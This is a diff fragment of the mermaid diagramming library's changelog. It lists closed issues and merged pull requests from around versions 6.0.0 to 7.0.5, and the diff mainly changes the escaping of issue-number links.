- font awesome in link text? [\#546](https://github.com/knsv/mermaid/issues/546)
|
||||
- q: heard of the cosmogol standard? [\#545](https://github.com/knsv/mermaid/issues/545)
|
||||
- Arrow heads missing \(cli, 7.0.3\) [\#544](https://github.com/knsv/mermaid/issues/544)
|
||||
- No Edge Boxes if useHtmlLabels=false [\#541](https://github.com/knsv/mermaid/issues/541)
|
||||
- how to change mermaid text color or line text block color？ [\#534](https://github.com/knsv/mermaid/issues/534)
|
||||
- FlowChart visualization broken when downloading from live editor [\#533](https://github.com/knsv/mermaid/issues/533)
|
||||
- Can't get flowchart to render paths at the top of the diagram; I even tried the online editor and that shows the same issue. Thoughts? [\#532](https://github.com/knsv/mermaid/issues/532)
|
||||
- live editor make browser\(safari on macOS&iOS\) not longer respond [\#531](https://github.com/knsv/mermaid/issues/531)
|
||||
- css classes need a prefix/namespace [\#527](https://github.com/knsv/mermaid/issues/527)
|
||||
- input activate/deactivate cause safari unresponding [\#521](https://github.com/knsv/mermaid/issues/521)
|
||||
- Cannot Render the Mermaid Graph to PDF ? [\#520](https://github.com/knsv/mermaid/issues/520)
|
||||
- clicking links works from inset in subgraph but not from nodes [\#516](https://github.com/knsv/mermaid/issues/516)
|
||||
- Strange syntax error - when importing mermaid.js [\#515](https://github.com/knsv/mermaid/issues/515)
|
||||
- gantt x-axis display [\#510](https://github.com/knsv/mermaid/issues/510)
|
||||
- phantomjs renamed to phantomjs-prebuilt [\#508](https://github.com/knsv/mermaid/issues/508)
|
||||
- issue when using sphinxcontrib-mermaid extension for sphinx [\#507](https://github.com/knsv/mermaid/issues/507)
|
||||
- layout of docs page looks broken [\#504](https://github.com/knsv/mermaid/issues/504)
|
||||
- Problem showing graph with php on localhost [\#502](https://github.com/knsv/mermaid/issues/502)
|
||||
- logLevel's option doesn't work at 7.0.0 [\#501](https://github.com/knsv/mermaid/issues/501)
|
||||
- How do I get the log for a render or parse attempt? [\#500](https://github.com/knsv/mermaid/issues/500)
|
||||
- Mermaid neutral style style to built in latest release [\#499](https://github.com/knsv/mermaid/issues/499)
|
||||
- Any plans for adding a typescript definition file? [\#495](https://github.com/knsv/mermaid/issues/495)
|
||||
- Gantt diagrams too narrow [\#493](https://github.com/knsv/mermaid/issues/493)
|
||||
- Flowchart edge labels placement [\#490](https://github.com/knsv/mermaid/issues/490)
|
||||
- Very different styles when rendering as png vs. svg [\#489](https://github.com/knsv/mermaid/issues/489)
|
||||
- New editor that supports mermaid: Caret [\#488](https://github.com/knsv/mermaid/issues/488)
|
||||
- Gant PNG margin [\#486](https://github.com/knsv/mermaid/issues/486)
|
||||
- ReferenceError: window is not defined [\#485](https://github.com/knsv/mermaid/issues/485)
|
||||
- Menu and layout bugs in docs [\#484](https://github.com/knsv/mermaid/issues/484)
|
||||
- Mermaid resets some of the page CSS styles [\#482](https://github.com/knsv/mermaid/issues/482)
|
||||
- Arrows rendering incorrectly in online editor [\#480](https://github.com/knsv/mermaid/issues/480)
|
||||
- CSS stroke-dasharray ignored by browsers but not other viewers [\#474](https://github.com/knsv/mermaid/issues/474)
|
||||
- mermaid - Browser Support issue [\#472](https://github.com/knsv/mermaid/issues/472)
|
||||
- Totally love mermaid I might pop! [\#471](https://github.com/knsv/mermaid/issues/471)
|
||||
- Sequence Diagram: Missing x on async arrows \(png\) [\#469](https://github.com/knsv/mermaid/issues/469)
|
||||
- live editor: the svg file rendered from graph is not supported by browsers [\#468](https://github.com/knsv/mermaid/issues/468)
|
||||
- Not found css [\#462](https://github.com/knsv/mermaid/issues/462)
|
||||
- Phantomjs Dependency [\#461](https://github.com/knsv/mermaid/issues/461)
|
||||
- Mermaid cli not working for subgraphs [\#459](https://github.com/knsv/mermaid/issues/459)
|
||||
- Support for notes across multiple participants? [\#458](https://github.com/knsv/mermaid/issues/458)
|
||||
- Related to Issue \#329: Phantomjs issues. [\#455](https://github.com/knsv/mermaid/issues/455)
|
||||
- Add a click style [\#426](https://github.com/knsv/mermaid/issues/426)
|
||||
- Add Parallel block \(par\) to sequence diagrams [\#425](https://github.com/knsv/mermaid/issues/425)
|
||||
- updating shapes after the flow chart rendering complete [\#424](https://github.com/knsv/mermaid/issues/424)
|
||||
- can't catch parse error Maximum call stack size exceeded on safari [\#421](https://github.com/knsv/mermaid/issues/421)
|
||||
- Arrows endings are missing [\#419](https://github.com/knsv/mermaid/issues/419)
|
||||
- shouldn't mermaid become more like Markdown ? [\#417](https://github.com/knsv/mermaid/issues/417)
|
||||
- Live editor show rendered diagram if syntax invalid [\#415](https://github.com/knsv/mermaid/issues/415)
|
||||
- Linkstyle stroke does not work [\#410](https://github.com/knsv/mermaid/issues/410)
|
||||
- flowchart id's with dots in them .. break links [\#408](https://github.com/knsv/mermaid/issues/408)
|
||||
- Flowchart: Link text beginning with lowercase 'o' causes flowchart to break [\#407](https://github.com/knsv/mermaid/issues/407)
|
||||
- Some Chinese character will case Safari no responding. [\#405](https://github.com/knsv/mermaid/issues/405)
|
||||
- Cannot center-justify text in nodes? [\#397](https://github.com/knsv/mermaid/issues/397)
|
||||
- Edge labels should have white background in live editor [\#396](https://github.com/knsv/mermaid/issues/396)
|
||||
- Live editor does not support activate/deactivate [\#394](https://github.com/knsv/mermaid/issues/394)
|
||||
- Styling subgraph? [\#391](https://github.com/knsv/mermaid/issues/391)
|
||||
- Update live editor to version 6.0.0 [\#387](https://github.com/knsv/mermaid/issues/387)
|
||||
- sequence diagram config issue [\#385](https://github.com/knsv/mermaid/issues/385)
|
||||
- How to add newline in the text [\#384](https://github.com/knsv/mermaid/issues/384)
|
||||
- PhantomJS crashes on a large graph [\#380](https://github.com/knsv/mermaid/issues/380)
|
||||
- Finnish support for class diagrams using plantuml syntax [\#377](https://github.com/knsv/mermaid/issues/377)
|
||||
- mermaidAPI.render generated different svg code from mermaid.int\(\) [\#374](https://github.com/knsv/mermaid/issues/374)
|
||||
- Put your own action on the chart [\#372](https://github.com/knsv/mermaid/issues/372)
|
||||
- when declaring participants the elements are generated twice [\#370](https://github.com/knsv/mermaid/issues/370)
|
||||
- Example Flowchart is cut in display \(Chrome\). [\#368](https://github.com/knsv/mermaid/issues/368)
|
||||
- Add shebang support to diagrams [\#365](https://github.com/knsv/mermaid/issues/365)
|
||||
- Silencing CLI output [\#352](https://github.com/knsv/mermaid/issues/352)
|
||||
- SequenceDiagram: 3+ Alternative Paths [\#348](https://github.com/knsv/mermaid/issues/348)
|
||||
- Smaller height of actor boxes [\#342](https://github.com/knsv/mermaid/issues/342)
|
||||
- Question: lib/phantomscript.js - foreignObjects in SVG - related to \#58 [\#340](https://github.com/knsv/mermaid/issues/340)
|
||||
- npm test fails on osx being blocked at Can not load "PhantomJS", it is not registered! [\#337](https://github.com/knsv/mermaid/issues/337)
|
||||
- Tabs & subgraphs cause rendering error [\#336](https://github.com/knsv/mermaid/issues/336)
|
||||
- Display question: right angles [\#335](https://github.com/knsv/mermaid/issues/335)
|
||||
- No Arrows rendered v0.5.8 [\#330](https://github.com/knsv/mermaid/issues/330)
|
||||
- You had errors in your syntax. Use --help for further information. [\#327](https://github.com/knsv/mermaid/issues/327)
|
||||
- Allow alternate arrow syntax that doesn't close html comments [\#322](https://github.com/knsv/mermaid/issues/322)
|
||||
- Comment in subgraph [\#319](https://github.com/knsv/mermaid/issues/319)
|
||||
- Update graph [\#311](https://github.com/knsv/mermaid/issues/311)
|
||||
- css conflicts with boostrap's css [\#308](https://github.com/knsv/mermaid/issues/308)
|
||||
- Can not get click event to fire. [\#306](https://github.com/knsv/mermaid/issues/306)
|
||||
- Fix phantomjs2 compatibility [\#304](https://github.com/knsv/mermaid/issues/304)
|
||||
- Flowcharts do not work in native IE11 [\#303](https://github.com/knsv/mermaid/issues/303)
|
||||
- Integration with remark.js - tutorial added [\#302](https://github.com/knsv/mermaid/issues/302)
|
||||
- Sequence diagram Loops: changing boxMargin spoils the "loop" notation [\#299](https://github.com/knsv/mermaid/issues/299)
|
||||
- src/mermaid.js generates bad code [\#297](https://github.com/knsv/mermaid/issues/297)
|
||||
- Fresh fork: jasmine tests fail [\#294](https://github.com/knsv/mermaid/issues/294)
|
||||
- CSS clash [\#292](https://github.com/knsv/mermaid/issues/292)
|
||||
- Mermaid does not work in Chrome 48 [\#281](https://github.com/knsv/mermaid/issues/281)
|
||||
- circle and ellipse cannot change color by classDef [\#271](https://github.com/knsv/mermaid/issues/271)
|
||||
- npm run watch doesn't work due missing dependencies [\#266](https://github.com/knsv/mermaid/issues/266)
|
||||
- label out of node [\#262](https://github.com/knsv/mermaid/issues/262)
|
||||
- IE11 Support issue [\#261](https://github.com/knsv/mermaid/issues/261)
|
||||
- mermaid without browser [\#260](https://github.com/knsv/mermaid/issues/260)
|
||||
- Insufficient capacity of gantt diagrams [\#226](https://github.com/knsv/mermaid/issues/226)
|
||||
- some WARN about installation [\#222](https://github.com/knsv/mermaid/issues/222)
|
||||
- Live editor offline access [\#217](https://github.com/knsv/mermaid/issues/217)
|
||||
- suggest: code highlight mode config for editors [\#212](https://github.com/knsv/mermaid/issues/212)
|
||||
- Uncaught RangeError: Maximum call stack size exceeded [\#189](https://github.com/knsv/mermaid/issues/189)
|
||||
- Styling label texts [\#50](https://github.com/knsv/mermaid/issues/50)
|
||||
|
||||
**Merged pull requests:**
|
||||
|
||||
- Remove console.log in classDB. [#861](https://github.com/knsv/mermaid/pull/861) ([Arthaey](https://github.com/Arthaey))
|
||||
- Bump sshpk from 1.13.1 to 1.16.1 [#851](https://github.com/knsv/mermaid/pull/851) ([dependabot\[bot\]](https://github.com/apps/dependabot))
|
||||
- Significantly smaller bundles [#850](https://github.com/knsv/mermaid/pull/850) ([fabiospampinato](https://github.com/fabiospampinato))
|
||||
- Support styling of subgraphs [#845](https://github.com/knsv/mermaid/pull/845) ([Qix-](https://github.com/Qix-))
|
||||
- fix dark theme loop labels not visible [#837](https://github.com/knsv/mermaid/pull/837) ([jnnnnn](https://github.com/jnnnnn))
|
||||
- fix draw function can only call once [#832](https://github.com/knsv/mermaid/pull/832) ([vaniship](https://github.com/vaniship))
|
||||
- Fix dotted lines not appearing in flowcharts when HTML labels disabled [#828](https://github.com/knsv/mermaid/pull/828) ([stanhu](https://github.com/stanhu))
|
||||
- Fix issue with XML line breaks inside vertex labels [#824](https://github.com/knsv/mermaid/pull/824) ([jsyang](https://github.com/jsyang))
|
||||
- fixed diagrams [#810](https://github.com/knsv/mermaid/pull/810) ([0xflotus](https://github.com/0xflotus))
|
||||
- Clickable gantt tasks [#804](https://github.com/knsv/mermaid/pull/804) ([abzicht](https://github.com/abzicht))
|
||||
- linkStyle now supports list of indexes with a few tests [#798](https://github.com/knsv/mermaid/pull/798) ([ivan-danilov](https://github.com/ivan-danilov))
|
||||
- fix class diagram mermaid [#795](https://github.com/knsv/mermaid/pull/795) ([DanShai](https://github.com/DanShai))
|
||||
- Added exclude weekdays to definition [#792](https://github.com/knsv/mermaid/pull/792) ([jopapo](https://github.com/jopapo))
|
||||
- SVG link rendering [#791](https://github.com/knsv/mermaid/pull/791) ([flying-sheep](https://github.com/flying-sheep))
|
||||
- Gantt milestones [#788](https://github.com/knsv/mermaid/pull/788) ([gijswijs](https://github.com/gijswijs))
|
||||
- Remove duplicate code [#768](https://github.com/knsv/mermaid/pull/768) ([znxkznxk1030](https://github.com/znxkznxk1030))
|
||||
- Render nodes as real links [#765](https://github.com/knsv/mermaid/pull/765) ([flying-sheep](https://github.com/flying-sheep))
|
||||
- Fix issue with marker-end. [#757](https://github.com/knsv/mermaid/pull/757) ([gjlubbertsen](https://github.com/gjlubbertsen))
|
||||
- Make Class Diagrams usable in Stackedit and Live Editor [#749](https://github.com/knsv/mermaid/pull/749) ([monsterkrampe](https://github.com/monsterkrampe))
|
||||
- Adding trapezoid and inverse trapezoid vertex options. [#741](https://github.com/knsv/mermaid/pull/741) ([adamwulf](https://github.com/adamwulf))
|
||||
- Add option for right angles [#721](https://github.com/knsv/mermaid/pull/721) ([paulbland](https://github.com/paulbland))
|
||||
- Add nested activation classes [#720](https://github.com/knsv/mermaid/pull/720) ([paulbland](https://github.com/paulbland))
|
||||
- wip: class diagram cardinality display [#705](https://github.com/knsv/mermaid/pull/705) ([Vrixyz](https://github.com/Vrixyz))
|
||||
- add comments about CSS in config [#688](https://github.com/knsv/mermaid/pull/688) ([imma90](https://github.com/imma90))
|
||||
- SequenceDiagram: Add support for multiple alt else statements [#641](https://github.com/knsv/mermaid/pull/641) ([sechel](https://github.com/sechel))
|
||||
- fix #426 - add class .clickable on nodes with click function or link [#598](https://github.com/knsv/mermaid/pull/598) ([thomasleveil](https://github.com/thomasleveil))
|
||||
- Spec fix 1 [#595](https://github.com/knsv/mermaid/pull/595) ([frankschmitt](https://github.com/frankschmitt))
|
||||
- Remove console.log in classDB. [\#861](https://github.com/knsv/mermaid/pull/861) ([Arthaey](https://github.com/Arthaey))
|
||||
- Bump sshpk from 1.13.1 to 1.16.1 [\#851](https://github.com/knsv/mermaid/pull/851) ([dependabot[bot]](https://github.com/apps/dependabot))
|
||||
- Significantly smaller bundles [\#850](https://github.com/knsv/mermaid/pull/850) ([fabiospampinato](https://github.com/fabiospampinato))
|
||||
- Support styling of subgraphs [\#845](https://github.com/knsv/mermaid/pull/845) ([Qix-](https://github.com/Qix-))
|
||||
- fix dark theme loop labels not visible [\#837](https://github.com/knsv/mermaid/pull/837) ([jnnnnn](https://github.com/jnnnnn))
|
||||
- fix draw function can only call once [\#832](https://github.com/knsv/mermaid/pull/832) ([vaniship](https://github.com/vaniship))
|
||||
- Fix dotted lines not appearing in flowcharts when HTML labels disabled [\#828](https://github.com/knsv/mermaid/pull/828) ([stanhu](https://github.com/stanhu))
|
||||
- Fix issue with XML line breaks inside vertex labels [\#824](https://github.com/knsv/mermaid/pull/824) ([jsyang](https://github.com/jsyang))
|
||||
- fixed diagrams [\#810](https://github.com/knsv/mermaid/pull/810) ([0xflotus](https://github.com/0xflotus))
|
||||
- Clickable gantt tasks [\#804](https://github.com/knsv/mermaid/pull/804) ([abzicht](https://github.com/abzicht))
|
||||
- linkStyle now supports list of indexes with a few tests [\#798](https://github.com/knsv/mermaid/pull/798) ([ivan-danilov](https://github.com/ivan-danilov))
|
||||
- fix class diagram mermaid [\#795](https://github.com/knsv/mermaid/pull/795) ([DanShai](https://github.com/DanShai))
|
||||
- Added exclude weekdays to definition [\#792](https://github.com/knsv/mermaid/pull/792) ([jopapo](https://github.com/jopapo))
|
||||
- SVG link rendering [\#791](https://github.com/knsv/mermaid/pull/791) ([flying-sheep](https://github.com/flying-sheep))
|
||||
- Gantt milestones [\#788](https://github.com/knsv/mermaid/pull/788) ([gijswijs](https://github.com/gijswijs))
|
||||
- Remove duplicate code [\#768](https://github.com/knsv/mermaid/pull/768) ([znxkznxk1030](https://github.com/znxkznxk1030))
|
||||
- Render nodes as real links [\#765](https://github.com/knsv/mermaid/pull/765) ([flying-sheep](https://github.com/flying-sheep))
|
||||
- Fix issue with marker-end. [\#757](https://github.com/knsv/mermaid/pull/757) ([gjlubbertsen](https://github.com/gjlubbertsen))
|
||||
- Make Class Diagrams usable in Stackedit and Live Editor [\#749](https://github.com/knsv/mermaid/pull/749) ([monsterkrampe](https://github.com/monsterkrampe))
|
||||
- Adding trapezoid and inverse trapezoid vertex options. [\#741](https://github.com/knsv/mermaid/pull/741) ([adamwulf](https://github.com/adamwulf))
|
||||
- Add option for right angles [\#721](https://github.com/knsv/mermaid/pull/721) ([paulbland](https://github.com/paulbland))
|
||||
- Add nested activation classes [\#720](https://github.com/knsv/mermaid/pull/720) ([paulbland](https://github.com/paulbland))
|
||||
- wip: class diagram cardinality display [\#705](https://github.com/knsv/mermaid/pull/705) ([Vrixyz](https://github.com/Vrixyz))
|
||||
- add comments about CSS in config [\#688](https://github.com/knsv/mermaid/pull/688) ([imma90](https://github.com/imma90))
|
||||
- SequenceDiagram: Add support for multiple alt else statements [\#641](https://github.com/knsv/mermaid/pull/641) ([sechel](https://github.com/sechel))
|
||||
- fix \#426 - add class .clickable on nodes with click function or link [\#598](https://github.com/knsv/mermaid/pull/598) ([thomasleveil](https://github.com/thomasleveil))
|
||||
- Spec fix 1 [\#595](https://github.com/knsv/mermaid/pull/595) ([frankschmitt](https://github.com/frankschmitt))
|
||||
|
||||
## [7.0.5](https://github.com/knsv/mermaid/tree/7.0.5) (2017-09-01)
|
||||
|
||||
@@ -436,48 +436,48 @@ mermaidAPI.initialize({
|
||||
|
||||
**Closed issues:**
|
||||
|
||||
- demos on io site not working [#466](https://github.com/knsv/mermaid/issues/466)
|
||||
- Can not be generated PNG pictures through CLI with Chinese [#451](https://github.com/knsv/mermaid/issues/451)
|
||||
- Round nodes cannot be styled with CSS classes [#443](https://github.com/knsv/mermaid/issues/443)
|
||||
- webpack gulp UglifyJsPlugin error. [#440](https://github.com/knsv/mermaid/issues/440)
|
||||
- String concatenation isn't working [#432](https://github.com/knsv/mermaid/issues/432)
|
||||
- text flow/wrap in actor box of sequence diagram [#422](https://github.com/knsv/mermaid/issues/422)
|
||||
- Online live editor still use old version [#402](https://github.com/knsv/mermaid/issues/402)
|
||||
- uncaught TypeError: t.getTransformToElement is not a function [#401](https://github.com/knsv/mermaid/issues/401)
|
||||
- Only works when using browserify'd code [#373](https://github.com/knsv/mermaid/issues/373)
|
||||
- document the use of shebang line in mmd files [#364](https://github.com/knsv/mermaid/issues/364)
|
||||
- Diagrams are small and unreadable in IE 11 - since 0.5.1 [#356](https://github.com/knsv/mermaid/issues/356)
|
||||
- \[Feature Request] ER-Diagram Support [#354](https://github.com/knsv/mermaid/issues/354)
|
||||
- The need for mermaid.css should be mentioned explicitly in the intro docs... [#273](https://github.com/knsv/mermaid/issues/273)
|
||||
- demos on io site not working [\#466](https://github.com/knsv/mermaid/issues/466)
|
||||
- Can not be generated PNG pictures through CLI with Chinese [\#451](https://github.com/knsv/mermaid/issues/451)
|
||||
- Round nodes cannot be styled with CSS classes [\#443](https://github.com/knsv/mermaid/issues/443)
|
||||
- webpack gulp UglifyJsPlugin error. [\#440](https://github.com/knsv/mermaid/issues/440)
|
||||
- String concatenation isn't working [\#432](https://github.com/knsv/mermaid/issues/432)
|
||||
- text flow/wrap in actor box of sequence diagram [\#422](https://github.com/knsv/mermaid/issues/422)
|
||||
- Online live editor still use old version [\#402](https://github.com/knsv/mermaid/issues/402)
|
||||
- uncaught TypeError: t.getTransformToElement is not a function [\#401](https://github.com/knsv/mermaid/issues/401)
|
||||
- Only works when using browserify'd code [\#373](https://github.com/knsv/mermaid/issues/373)
|
||||
- document the use of shebang line in mmd files [\#364](https://github.com/knsv/mermaid/issues/364)
|
||||
- Diagrams are small and unreadable in IE 11 - since 0.5.1 [\#356](https://github.com/knsv/mermaid/issues/356)
|
||||
- \[Feature Request\] ER-Diagram Support [\#354](https://github.com/knsv/mermaid/issues/354)
|
||||
- The need for mermaid.css should be mentioned explicitly in the intro docs... [\#273](https://github.com/knsv/mermaid/issues/273)
|
||||
|
||||
**Merged pull requests:**
|
||||
|
||||
- Update index.html [#465](https://github.com/knsv/mermaid/pull/465) ([bmsleight](https://github.com/bmsleight))
|
||||
- Fix for #416, customizing link style with any color sets `fill` property to `black` instead of `none` [#452](https://github.com/knsv/mermaid/pull/452) ([joshuacolvin](https://github.com/joshuacolvin))
|
||||
- Allow .node>circle to receive css styles [#449](https://github.com/knsv/mermaid/pull/449) ([bfriedz](https://github.com/bfriedz))
|
||||
- Fix spelling [#447](https://github.com/knsv/mermaid/pull/447) ([jawn](https://github.com/jawn))
|
||||
- added tests and fix cli css style selector lowercase problem [#445](https://github.com/knsv/mermaid/pull/445) ([whyzdev](https://github.com/whyzdev))
|
||||
- Update d3.js [#441](https://github.com/knsv/mermaid/pull/441) ([hetz](https://github.com/hetz))
|
||||
- added tests to reproduce #434 in flowchart [#439](https://github.com/knsv/mermaid/pull/439) ([whyzdev](https://github.com/whyzdev))
|
||||
- Code Climate config [#437](https://github.com/knsv/mermaid/pull/437) ([larkinscott](https://github.com/larkinscott))
|
||||
- fix gantt and sequence digram cli cfg [#435](https://github.com/knsv/mermaid/pull/435) ([whyzdev](https://github.com/whyzdev))
|
||||
- fix gantt chart cli configuration broken [#433](https://github.com/knsv/mermaid/pull/433) ([whyzdev](https://github.com/whyzdev))
|
||||
- fix gantt chart cli configuration parsing including functions [#430](https://github.com/knsv/mermaid/pull/430) ([whyzdev](https://github.com/whyzdev))
|
||||
- Uses an empty text node instead of a string for svg group labels [#429](https://github.com/knsv/mermaid/pull/429) ([daveaglick](https://github.com/daveaglick))
|
||||
- use tspan via d3.textwrap to place actor text in sequence diagram [#427](https://github.com/knsv/mermaid/pull/427) ([whyzdev](https://github.com/whyzdev))
|
||||
- \#422 use foreignObject/div to place actor label in sequence diagram [#423](https://github.com/knsv/mermaid/pull/423) ([whyzdev](https://github.com/whyzdev))
|
||||
- Clarify the need for a CSS stylesheet [#413](https://github.com/knsv/mermaid/pull/413) ([sifb](https://github.com/sifb))
|
||||
- Added hads downstream project [#412](https://github.com/knsv/mermaid/pull/412) ([sinedied](https://github.com/sinedied))
|
||||
- update usage and fix #273 [#406](https://github.com/knsv/mermaid/pull/406) ([jinntrance](https://github.com/jinntrance))
|
||||
- Add https://github.com/raghur/mermaid-filter to downstream projects docs page [#404](https://github.com/knsv/mermaid/pull/404) ([raghur](https://github.com/raghur))
|
||||
- New neutral theme [#395](https://github.com/knsv/mermaid/pull/395) ([sinedied](https://github.com/sinedied))
|
||||
- fix cli issues [#390](https://github.com/knsv/mermaid/pull/390) ([ben-page](https://github.com/ben-page))
|
||||
- Add missing space for 'Labels out of bounds' section [#386](https://github.com/knsv/mermaid/pull/386) ([The-Alchemist](https://github.com/The-Alchemist))
|
||||
- Fix typo: `pats` -> `paths` [#382](https://github.com/knsv/mermaid/pull/382) ([swhgoon](https://github.com/swhgoon))
|
||||
- Added class diagram example to README.md [#379](https://github.com/knsv/mermaid/pull/379) ([HustLion](https://github.com/HustLion))
|
||||
- override normal flowchart arrowhead to allow css styling [#376](https://github.com/knsv/mermaid/pull/376) ([dodoinblue](https://github.com/dodoinblue))
|
||||
- added sphinx extension [#371](https://github.com/knsv/mermaid/pull/371) ([mgaitan](https://github.com/mgaitan))
|
||||
- Fix typo in the sequence diagram documentation [#369](https://github.com/knsv/mermaid/pull/369) ([ggpasqualino](https://github.com/ggpasqualino))
|
||||
- Update index.html [\#465](https://github.com/knsv/mermaid/pull/465) ([bmsleight](https://github.com/bmsleight))
|
||||
- Fix for \#416, customizing link style with any color sets `fill` property to `black` instead of `none` [\#452](https://github.com/knsv/mermaid/pull/452) ([joshuacolvin](https://github.com/joshuacolvin))
|
||||
- Allow .node\>circle to receive css styles [\#449](https://github.com/knsv/mermaid/pull/449) ([bfriedz](https://github.com/bfriedz))
|
||||
- Fix spelling [\#447](https://github.com/knsv/mermaid/pull/447) ([jawn](https://github.com/jawn))
|
||||
- added tests and fix cli css style selector lowercase problem [\#445](https://github.com/knsv/mermaid/pull/445) ([whyzdev](https://github.com/whyzdev))
|
||||
- Update d3.js [\#441](https://github.com/knsv/mermaid/pull/441) ([hetz](https://github.com/hetz))
|
||||
- added tests to reproduce \#434 in flowchart [\#439](https://github.com/knsv/mermaid/pull/439) ([whyzdev](https://github.com/whyzdev))
|
||||
- Code Climate config [\#437](https://github.com/knsv/mermaid/pull/437) ([larkinscott](https://github.com/larkinscott))
|
||||
- fix gantt and sequence digram cli cfg [\#435](https://github.com/knsv/mermaid/pull/435) ([whyzdev](https://github.com/whyzdev))
|
||||
- fix gantt chart cli configuration broken [\#433](https://github.com/knsv/mermaid/pull/433) ([whyzdev](https://github.com/whyzdev))
|
||||
- fix gantt chart cli configuration parsing including functions [\#430](https://github.com/knsv/mermaid/pull/430) ([whyzdev](https://github.com/whyzdev))
|
||||
- Uses an empty text node instead of a string for svg group labels [\#429](https://github.com/knsv/mermaid/pull/429) ([daveaglick](https://github.com/daveaglick))
|
||||
- use tspan via d3.textwrap to place actor text in sequence diagram [\#427](https://github.com/knsv/mermaid/pull/427) ([whyzdev](https://github.com/whyzdev))
|
||||
- \#422 use foreignObject/div to place actor label in sequence diagram [\#423](https://github.com/knsv/mermaid/pull/423) ([whyzdev](https://github.com/whyzdev))
|
||||
- Clarify the need for a CSS stylesheet [\#413](https://github.com/knsv/mermaid/pull/413) ([sifb](https://github.com/sifb))
|
||||
- Added hads downstream project [\#412](https://github.com/knsv/mermaid/pull/412) ([sinedied](https://github.com/sinedied))
|
||||
- update usage and fix \#273 [\#406](https://github.com/knsv/mermaid/pull/406) ([jinntrance](https://github.com/jinntrance))
|
||||
- Add https://github.com/raghur/mermaid-filter to downstream projects docs page [\#404](https://github.com/knsv/mermaid/pull/404) ([raghur](https://github.com/raghur))
|
||||
- New neutral theme [\#395](https://github.com/knsv/mermaid/pull/395) ([sinedied](https://github.com/sinedied))
|
||||
- fix cli issues [\#390](https://github.com/knsv/mermaid/pull/390) ([ben-page](https://github.com/ben-page))
|
||||
- Add missing space for 'Labels out of bounds' section [\#386](https://github.com/knsv/mermaid/pull/386) ([The-Alchemist](https://github.com/The-Alchemist))
|
||||
- Fix typo: `pats` -\> `paths` [\#382](https://github.com/knsv/mermaid/pull/382) ([swhgoon](https://github.com/swhgoon))
|
||||
- Added class diagram example to README.md [\#379](https://github.com/knsv/mermaid/pull/379) ([HustLion](https://github.com/HustLion))
|
||||
- override normal flowchart arrowhead to allow css styling [\#376](https://github.com/knsv/mermaid/pull/376) ([dodoinblue](https://github.com/dodoinblue))
|
||||
- added sphinx extension [\#371](https://github.com/knsv/mermaid/pull/371) ([mgaitan](https://github.com/mgaitan))
|
||||
- Fix typo in the sequence diagram documentation [\#369](https://github.com/knsv/mermaid/pull/369) ([ggpasqualino](https://github.com/ggpasqualino))
|
||||
|
||||
## [6.0.0](https://github.com/knsv/mermaid/tree/6.0.0) (2016-05-29)
|
||||
|
||||
@@ -633,40 +633,40 @@ mermaidAPI.initialize({
|
||||
|
||||
**Closed issues:**
|
||||
|
||||
- Installing “atom-mermaid@0.1.3” failed [#218](https://github.com/knsv/mermaid/issues/218)
|
||||
- node feature request [#211](https://github.com/knsv/mermaid/issues/211)
|
||||
- Please add prefix for styles [#208](https://github.com/knsv/mermaid/issues/208)
|
||||
- Bad handling of block arguments [#207](https://github.com/knsv/mermaid/issues/207)
|
||||
- please consider port to mac osx [#203](https://github.com/knsv/mermaid/issues/203)
|
||||
- allow phantomjs >=1.9.x [#201](https://github.com/knsv/mermaid/issues/201)
|
||||
- syntax for venn diagrams? [#200](https://github.com/knsv/mermaid/issues/200)
|
||||
- Broken CLI Graphs? (v0.5.1) [#196](https://github.com/knsv/mermaid/issues/196)
|
||||
- Static site does not render under HTTPS [#194](https://github.com/knsv/mermaid/issues/194)
|
||||
- Error on simple graph [#192](https://github.com/knsv/mermaid/issues/192)
|
||||
- Escape "~" [#191](https://github.com/knsv/mermaid/issues/191)
|
||||
- Trying to add link using 'click' to flowchart [#188](https://github.com/knsv/mermaid/issues/188)
|
||||
- cli: no lines and arrowheads rendered / only dotted lines [#187](https://github.com/knsv/mermaid/issues/187)
|
||||
- text of mermaid div displayed on page [#186](https://github.com/knsv/mermaid/issues/186)
|
||||
- using mermaid with laravel [#185](https://github.com/knsv/mermaid/issues/185)
|
||||
- Atom editor package [#183](https://github.com/knsv/mermaid/issues/183)
|
||||
- Auto linewrap for notes in sequence diagrams [#178](https://github.com/knsv/mermaid/issues/178)
|
||||
- Execute code after initialize [#176](https://github.com/knsv/mermaid/issues/176)
|
||||
- Autoscaling for all diagram types [#175](https://github.com/knsv/mermaid/issues/175)
|
||||
- Problem wit click event callback [#174](https://github.com/knsv/mermaid/issues/174)
|
||||
- How to escape characters? [#170](https://github.com/knsv/mermaid/issues/170)
|
||||
- it can not work [#167](https://github.com/knsv/mermaid/issues/167)
|
||||
- Broken subgraph using the CLI [#153](https://github.com/knsv/mermaid/issues/153)
|
||||
- IE Support issue [#142](https://github.com/knsv/mermaid/issues/142)
|
||||
- Flowchart truncated [#140](https://github.com/knsv/mermaid/issues/140)
|
||||
- Double Quote as text is not working [#219](https://github.com/knsv/mermaid/issues/219)
|
||||
- classDef / class not working with htmlLabels? [#210](https://github.com/knsv/mermaid/issues/210)
|
||||
- Links in graph missing [#209](https://github.com/knsv/mermaid/issues/209)
|
||||
- Last word in comment boxes getting cut off by word wrap library : ( [#195](https://github.com/knsv/mermaid/issues/195)
|
||||
- Escaping characters in sequence diagram [#193](https://github.com/knsv/mermaid/issues/193)
|
||||
- SVG foreignObject rendering [#180](https://github.com/knsv/mermaid/issues/180)
|
||||
- IE9 issue [#179](https://github.com/knsv/mermaid/issues/179)
|
||||
- inoperable in an AMD/requirejs environment: IPython Notebook [#127](https://github.com/knsv/mermaid/issues/127)
|
||||
- \[Parser] Hyphen in participant name bring TypeError [#74](https://github.com/knsv/mermaid/issues/74)
|
||||
- Installing “atom-mermaid@0.1.3” failed [\#218](https://github.com/knsv/mermaid/issues/218)
|
||||
- node feature request [\#211](https://github.com/knsv/mermaid/issues/211)
|
||||
- Please add prefix for styles [\#208](https://github.com/knsv/mermaid/issues/208)
|
||||
- Bad handling of block arguments [\#207](https://github.com/knsv/mermaid/issues/207)
|
||||
- please consider port to mac osx [\#203](https://github.com/knsv/mermaid/issues/203)
|
||||
- allow phantomjs \>=1.9.x [\#201](https://github.com/knsv/mermaid/issues/201)
|
||||
- syntax for venn diagrams? [\#200](https://github.com/knsv/mermaid/issues/200)
|
||||
- Broken CLI Graphs? \(v0.5.1\) [\#196](https://github.com/knsv/mermaid/issues/196)
|
||||
- Static site does not render under HTTPS [\#194](https://github.com/knsv/mermaid/issues/194)
|
||||
